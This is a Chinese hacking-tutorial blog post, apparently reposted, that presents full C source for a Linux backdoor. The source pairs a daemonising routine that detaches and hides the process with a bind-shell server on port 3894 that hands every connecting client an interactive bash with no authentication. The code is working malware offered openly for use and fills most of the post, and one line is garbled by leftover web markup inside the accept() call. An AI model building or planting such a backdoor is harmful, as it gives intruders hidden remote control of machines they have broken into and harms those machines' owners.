hacker成长的代码之路:后门(1)

发表于:2007-07-04来源:作者:点击数: 标签:
作者:kf_701 写作时间:2005/4 Email:kf_701@21cn.com 转载请保留原作者信息,谢谢。 要求的专业知识: 一: 精通OSI参考模型,精通 网络 五层:物理层,数据链路层, 网络 层,传输层,应用层。 精通每一层的协议,数据报格式。精通 网络 拓扑结构,第一层
作者:kf_701  写作时间:2005/4  Email:kf_701@21cn.com

                转载请保留原作者信息,谢谢。

要求的专业知识
    一:    精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
        精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
        络互联,数据的转发和路由等。
    二:    精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
        统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
        如:netstat,ping,traceroute,netcat,arp等。
    三:    精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
        WEB语言的结合使用。

     好久没有写了,今天写一个后门吧。
     后门程序自然是设计成服务器了。在linux里,我把它设计成daemon。
     一个init_daemon函数是必不可少的。下面是一个完美的init_daemon函数。
   1:生成子进程,脱离终端
   2:成为会话组长
   3:生成新的进程,防止进程再打开终端
   4:关闭文件描述符
   5:释放当前工作目录
   6:重建文件掩码

     1  /*
     2   * writed by kf_701
     3   * 2005-3-8
     4   * email:kf_701@21cn.com
     5   */
     6
     7  #include<unistd.h>
     8  #include<sys/types.h>
     9  #include<sys/stat.h>
    10  #include<sys/param.h>
    11  #include<fcntl.h>
    12  #include<signal.h>
    13
    14  #define MAXFD           64
    15
    16  void init_daemon(void)
    17  {
    18          pid_t pid;
    19          int i;
    20
    21          if(pid = fork())        /*exit terminal*/
    22                  exit(0);
    23          else if(pid<0)
    24                  exit(1);
    25
    26          setsid();               /*become session leader*/
    27
    28          /* when session leader terminate,all
    29            process of session will receive SIGHUP */
    30          if(signal(SIGHUP,SIG_IGN) == SIG_ERR)
    31                  exit(1);
    32
    33          if(pid=fork())          /*prevent daemon opening terminal*/
    34                  exit(0);
    35          else if(pid<0)
    36                  exit(1);
    37
    38          for(i=0;i<MAXFD;++i)    /*close fds opened by parent*/
    39          {
    40                  close(i);
    41          }
    42
    43          chdir("/");             /*leave working dir*/
    44
    45          umask(0);               /*create file mask*/
    46
    47          return;
    48  }

     服务程序的设计用基本的多进程方式。即为每一个连接生成一个子进程。
     处理SIGCHLD信号是重要的,只能用waitpid,而不能用wait。因为有可能在
执行信号处理程序的时候,又产生了信号,产生这个信号的子进程便成了僵尸进程。
     整个程序只是一个服务器程序设计的模板程序吧。只是调用了一个shell。几天
前我看到一段代码,和这个代码差不多,不过是windows里的,它调用CMD。

     1  /* author  :    kf_701
     2   * mtime   :    2005
     3   * email   :    kf_701@21cn.com
     4   * address :    hefei
     5   * school  :    ahau.edu.cn
     6   */
     7  #include<stdio.h>
     8  #include<sys/socket.h>
     9  #include<netinet/in.h>
    10  #include<signal.h>
    11  #include<netdb.h>
    12  #include<unistd.h>
    13  #include<errno.h>
    14  #include<sys/wait.h>
    15  #include<sys/types.h>
    16
    17  #define BACKBLOK        5
    18  #define SERVER_PORT     3894
    19
    20  void init_daemon(void);
    21
    22  static void sig_child_exit(int sig){
    23          int stat;
    24          while(waitpid(-1,&stat,WNOHANG)>0 );
    25          return;
    26  }
    27
    28  int main(int argc,char **argv)
    29  {
    30          init_daemon();
    31
    32          if(signal(SIGCHLD,sig_child_exit) == SIG_ERR){
    33                  /*perror("signal error");*/
    34                  exit(1);
    35          }
    36
    37          pid_t pid;
    38          int sockfd,new_fd;
    39          struct sockaddr_in sa;
    40          char hello[]="Welcome to kf_701 back door !\n";
    41
    42          sockfd = socket(AF_INET,SOCK_STREAM,0);
    43          if(sockfd == -1){
    44                  /* perror("Create socket Error"); */
    45                  exit(1);
    46          }
    47
    48          bzero(&sa,sizeof(struct sockaddr));
    49          sa.sin_family = AF_INET;
    50          sa.sin_port = htons(SERVER_PORT);
    51          sa.sin_addr.s_addr = htonl(INADDR_ANY);
    52
    53          if(bind(sockfd,(struct sockaddr *)&sa,sizeof(struct sockaddr)) == -1){
    54                  /*perror("Bind Error");*/
    55                  exit(1);
    56          }
    57
    58          if(listen(sockfd,BACKBLOK) == -1){
    59                  /*perror("Listen Error");*/
    60                  exit(1);
    61          }
    62
    63          while(1)
    64          {
    65                  new_fd = aclearcase/" target="_blank" >ccept(sockfd,NULL,NULL);
    66                  if(new_fd == -1){
    67                          /*perror("Accept Error");*/
    68                          continue;
    69                  }
    70
    71                  if((pid = fork())<0){
    72                          /*perror("fork error");*/
    73                          continue;
    74                  }else if(pid == 0)
    75                  {
    76                          close(sockfd);
    77
    78                          if(write(new_fd,hello,sizeof(hello)) == -1){
    79                                  /*perror("write error");*/
    80                                  continue;
    81                          }
    82
    83                          int i;
    84                          for(i=0;i<3;i++)
    85                          {
    86                                  dup2(new_fd,i);
    87                          }
    88                          close(new_fd);
    89                          execl("/bin/bash","bash","-i",(char *)0);
    90                          break;
    91                  }
    92                  close(new_fd);
    93          }
    94  }

夜很深了,我只能写这么多了。希望你能和我一起努力。
其它的文章都发在我的blog里面:
http://blog.chinaunix.net/index.php?blogId=3063

不要相信态度,尊重技术,不要为装模作样的人浪费时间!
*****待续******

原文转自:http://www.ltesting.net